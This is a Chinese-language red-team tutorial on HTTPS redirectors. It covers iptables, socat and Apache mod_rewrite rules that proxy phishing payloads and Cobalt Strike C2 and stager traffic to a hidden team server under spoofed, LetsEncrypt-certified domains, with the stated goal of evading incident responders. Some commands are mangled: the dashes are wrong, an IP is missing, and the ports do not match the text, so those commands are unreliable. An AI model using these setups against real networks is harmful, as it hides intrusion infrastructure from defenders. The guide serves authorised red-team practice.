我已經寫了很多關於使用重定向以及如何加強紅隊評估的文章。 自從寫了關於該主題的第一篇文章以來,我常收到的問題是如何對 HTTPS 流量做同樣的事情。 在這篇文章中,我將詳細介紹不同的 HTTPS 重定向方法以及何時使用它們。
我想對 Joe Vest(@joevest)表示感謝,他將 HTTPS 命令和控制(C2)重定向集成到cs2modrewrite 工具中,並指出了一些這種重定向所需的 Apache 配置。
一、Dumb 管道重定向
重定向主要分為兩類:dumb 管道或過濾。 顧名思義,dumb 管道重定向只是將流量從其網絡接口轉發到另一個配置好的主機接口。 這種類型的重定向上手很快,但本地不能控制重定向傳入流量。 因此,愚蠢的管道重定向會通過混淆 C2 服務器的真實 IP 地址來為追踪延長一些時間,但它不能阻礙防御者的調查。
由於以下兩種方法不對流量進行任何條件過濾,因此它們可用於 payload 或 C2 重定向。
( 一)iptables
使用 Linux 防火牆工具 iptables,可以將特定端口上的所有傳入流量轉發給遠程主機上的特定端口。 這樣就可以通過 443(下面的第 1 行)獲取任何 TCP 流量,並通過 443(下面的第 2 行)將它重定向到後端服務器。 將 替換為後端服務器的 IP 地址,並使用 root 權限運行以下命令:
iptables -I INPUT -p tcp -m tcp –dport 443 -j ACCEPT iptables -t nat -A PREROUTING -p tcp –dport 443 -j DNAT –to-destination :80 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward=1
(二)socat
socat 是用來創建相同類型的流量重定向的替代工具。 下面的一行代碼將重定向來自 443 端口(最下面的 443)的任何流量到遠程主機 IP 地址的 443 端口(最右邊的 443)。 與之前一樣,將替換為後端服務器的 IP 地址。
默認情況下,socat 在前台運行。 雖然可以在後台運行該進程,但我建議在屏幕會話中運行 socat,以便更輕鬆地進行動態重定向修改。
socat TCP4-LISTEN:443,fork TCP4::443
如果重定向的流量很大(如 C2),socat 可能會開始遇到問題或使主機速度緩慢。 如果遇到這些問題,請嘗試 iptables。
二、Apache mod_rewrite
雖然 dumb 管道重定向方便快捷,但過濾重定向提供了幾乎無止境的方法來阻止防御者調查攻擊者的基礎結構。 任何成熟的 Web 服務器技術都應該能夠提供過濾重定向,但本文主要關注使用 Apache 及其 mod_rewrite 模塊。
本節將重點介紹 payload 和 C2 重定向,因為重定向通常需要根據預期流量提供不同的功能。 在以下示例中,攻擊者的域名為 spoofdomain.com,所有服務器操作系統均為 Debian 9。
(一)首次建立
此技術需要幾個一次性設置步驟。 下述步驟包括為基礎架構生成和使用 LetsEncrypt 證書,如果已在其他地方獲得了證書或選擇使用自簽名證書,請跳過這些步驟。
Apache 與 SSL 建立
要為流量重定向設置 Apache mod_rewrite,需要做一些首次設置。 有關初始設置的更多細節,請參閱我的第一篇 mod_rewrite 文章的mod_rewrite Basics 部分。
在重定向器上,使用 root 權限運行以下命令:
apt-get install apache2 a2enmod ssl rewrite proxy proxy_http a2ensite default-ssl.conf service apache2 restart
在 Apache2 配置文件(默認為 /etc/apache2/apache2.conf)中,找到站點目錄的 Directory 標記並將 None 更改為 All:
Options Indexes FollowSymLinks AllowOverride None Require all granted
使用 LetsEncrypt 生成證書
如果已經有了證書或希望使用自簽名證書,則可以跳過本節中的步驟。
在 Debian 上生成 LetsEncrypt 證書:
sudo service apache2 stop sudo apt-get install certbot sudo certbot certonly –standalone -d spoofdomain.com -d www.spoofdomain.com
修改 certbot 命令以包含任何其他需要使用 -d 標誌保護的子域。 請注意,上面我們指定了根域以及 www 子域。
如果沒有問題,證書文件將被保存到 /etc/letsencrypt/live/spoofdomain.com。
編輯 SSL 站點配置(默認情況下位於 /etc/apache2/sites-enabled/default-ssl.conf),以便 SSLCertificateFile 和 SSLCertificateKeyFile 選項的文件路徑與 LetsEncrypt 證書組件的路徑一致:
SSLCertificateFile /etc/letsencrypt/live/spoofdomain.com/cert.pem SSLCertificateKeyFile /etc/letsencrypt/live/spoofdomain.com/privkey.pem
另外,將以下代碼添加到 VirtualHost 標記中的同一文件中:
# Enable SSL SSLEngine On # Enable Proxy SSLProxyEngine On # Trust Self-Signed Certificates generated by Cobalt Strike SSLProxyVerify none SSLProxyCheckPeerCN off SSLProxyCheckPeerName off
現在使用有效的 LetsEncrypt 證書進行基本的 SSL 安裝。 從這裡開始,這篇文章將演示如何提供所需的 payload 文件或網頁,以及如何重定向 C2 流量。
(二)Payload 重定向
在設計攻擊基礎架構時,假設任何文件或 payload 都在社會工程或其他攻擊路徑中公共託管,成為 payload 重定向的一部分。 在設置中,重定向會將任何有效的請求代理到相應的後端服務器,並將所有其他請求重定向到目標的真實 404 頁面。 這些文件可以使用 HTTP 或 HTTPS 託管 ; 最終用戶將看到 spoofdomain.com 的有效 SSL 連接。
下面是我們的設置:
SSL Payload 重定向
請注意,後端通過 HTTP 託管文件。 我們正在做這個演示和簡單的設置。
一旦在主機上完成了首次設置(見上文),在文件 /var/www/html/.htaccess 中添加以下文本:
RewriteEngine On RewriteCond %{REQUEST_URI} ^/ ( payload.exe|landingpage.html ) /?$ [ NC ] RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [ P ] RewriteRule ^.*$ http://example.com/404? [ L,R=302 ]
以下為彩色代碼細劃了正在執行的規則:
Enable the rewrite engine If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ ( with an optional trailing slash ) , ignoring case; Change the entire request to serve the original request path from the remote host’s IP, and keep the user’s address bar the same ( obscure the backend server’s IP ) . If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.
注意上面的規則集,使用 HTTP 作為第一個 RewriteRule,是因為僅使用 HTTP 在後端服務器上託管 payload.exe 和 landingpage.html 文件。
以下是在受害者瀏覽器中看到的 landingpage.html 文件:
重定向 SSL 到主機文件
請注意,儘管文件本身託管在另一台服務器上,但在瀏覽器 URL 欄中顯示了 spoofdomain.com。 後端文件可以通過 HTTPS 或 HTTP 託管 ; 兩者將在目標瀏覽器中按預期顯示。
這些文件也可以託管在 Cobalt Strike 團隊服務器上。 Cobalt Strike 3.10 及以上版本支持通過 SSL 託管社交工程攻擊和文件。 為此,需要從 SSL 證書創建 keystore,將 keystore 上傳到 Cobalt Strike team 服務器,並在服務器的 Malleable C2 配置文件中指定 keystore。
生成 Cobalt Strike 的 keystore:
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypasskeytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com
添加 keystore 到Malleable C2:
https-certificate { set keystore “spoofdomain.store”; set password “mypass”; }
當 team 服務器啟動時,它將使用提供的 keystore 並啟用 SSL 文件託管。
(三)C2 重定向
命令和控制重定向在很大程度上與 payload 重定向類似,只不過 htaccess 文件需要允許 C2,託管文件和 stager URI。
所有 C2 URI 都在 team 服務器 Malleable C2 配置文件中指定 set uri 行,使用 %{REQUEST_URI} mod_rewrite 變量返回到到 team 服務器。
Cobalt Strike 可通過 HTTP 或 HTTPS 提供託管文件。 通過 HTTPS 託管文件需要額外的步驟來創建 keystore 並修改 Malleable C2 配置文件 ; 但是,它將簡化重定向的 htaccess 文件規則集。 如果選擇通過 HTTP 託管文件,請確保重定向的 htaccess 規則代理 HTTP,而不是 HTTPS。
如果計劃在攻擊路徑中使用任何分階段的 payload,則需要將 Stager URI 重定向回 team 服務器。 默認情況下,Cobalt Strike stager URI 是一個隨機的四個字符的字符串。 在 Cobalt Strike 3.10 和更新的版本中,可以通過正則表達式來實現,或者在 http-stagerblock 的 Malleable C2 配置文件中指定一個 stager URI。
這是一個規則集,通過HTTP 將payload.exe 和landingpage.html 的靜態文件重定向到team 服務器,同時通過HTTPS 重定向/ legit-path-1 和/ legit-path-2 的C2 URI 和/ stager 的 staging uri :
RewriteEngine On RewriteCond %{REQUEST_URI} ^/ ( payload.exe|landingpage.html ) /?$ [ NC ] RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [ P ] RewriteCond %{REQUEST_URI} ^/ ( legit-path-1|legit-path-2|stager ) /?$ [ NC ] RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [ P ] RewriteRule ^.*$ http ://example.com/404? [ L,R=302 ]
以下為彩色代碼細劃了正在執行的規則:
Enable the rewrite engine If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ ( with an optional trailing slash ) , ignoring case; Change the entire request to serve the original request path over HTTP from the remote host’s IP, and keep the user’s address bar the same ( obscure the backend server’s IP ) . If the request’s URI is ‘/legit-path-1’, ‘/legit-path-2’, or ‘/stager’ ( with an optional trailing slash ) , ignoring case; Change the entire request to serve the original request path over HTTPS from the remote host’s IP, and keep the user’s address bar the same ( obscure the backend server’s IP ) . If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.
這顯然是一個人為的例子,需要使用 Malleable C2 配置文件進行設置以提供一些規避策略,但上面的代碼應該說明如何在 HTTP 和 HTTPS 之間混合使用。
有關 Cobalt Strike C2 重定向的更多信息,以及一些示例,請查看我的帖子Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite。
多個重定向到一個後端服務器
SSL 重定向提供了使用不同 SSL 證書保護多個回聯域名的有趣功能。 由於證書可以是完全唯一的,因此此設置可以降低事件響應方基於證書元數據識別 C2 域名的風險。
以下是該設置:
使用多個域名的 SSL 重定向
為每個重定向設置自己的子段,遵循上面各節中詳述的步驟。 設置中的關鍵區別是在 Cobalt Strike 監聽器設置期間在回聯彈出窗口中指定了兩個域名。 以下是 Cobalt Strike 中的設置:
設置 HTTPS 監聽以使用具有唯一證書的多個 SSL 域名
注意,我們指定 phishdomain.com 作為主監聽器的主機以及 Beacons 字段中的兩個域(phishdomain.com 和 spoofdomain.com)。 我們還建立了一個指向另一個域名的外部監聽器,以便在需要時通過 spoofdomain.com 站點。 通過此設置,Beacon 將在選定監聽器的主機字段上轉換,隨後對 beacon 字段中指定的域名進行循環檢查。
三、強制使用 HTTPS
在某些設置中,可能需要強制所有流量通過 HTTPS,而不允許混合。 這種情況下,在 htaccessruleset 的 RewriteEngine On 行後添加以下幾行:
RewriteCond %{HTTPS} !=on [ NC ] RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com%{REQUEST_URI} [ L,R=301 ]
以下為彩色代碼細劃了正在執行的規則:
Enable the rewrite engine If the request’s SSL status is NOT “on”, Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user’s address bar show the redirection. Make the redirect permanent with a 301 code.
上面的規則集從 AskApache.com(here)採用並略微修改。 如果請求使用 SSL / TLS,則 %{HTTPS} 變量將返回 on,如果僅使用 HTTP,則返回 off。
四、總結
重定向是隱蔽攻擊基礎架構中的關鍵組件。 它們被用來混淆後端基礎架構,並且可能被用來混淆或迷惑正在調查事件的響應者。 重定向流量混合到網絡上的正常流量中。 由於 SSL / TLS 的迅速增加,當重定向需要使用有效證書運行 SSL / TLS 時,就會碰到這樣的問題。 本文詳細介紹瞭如何設置這些功能以及使用啟用了 SSL 的重定向所具備的一些強大的功能,例如通過 HTTPS Cobalt Strike 監聽器使用多個域名。
五、資源
・ Automating Apache mod_rewrite and Cobalt Strike Malleable C2 for Intelligent Redirection C Joe Vest ( @joevest )
・ mod-rewrite-cheatsheet.com
・ Official Apache 2.4 mod_rewrite Documentation
・ Apache mod_rewrite Introduction
・ An In-Depth Guide to mod_rewrite for Apache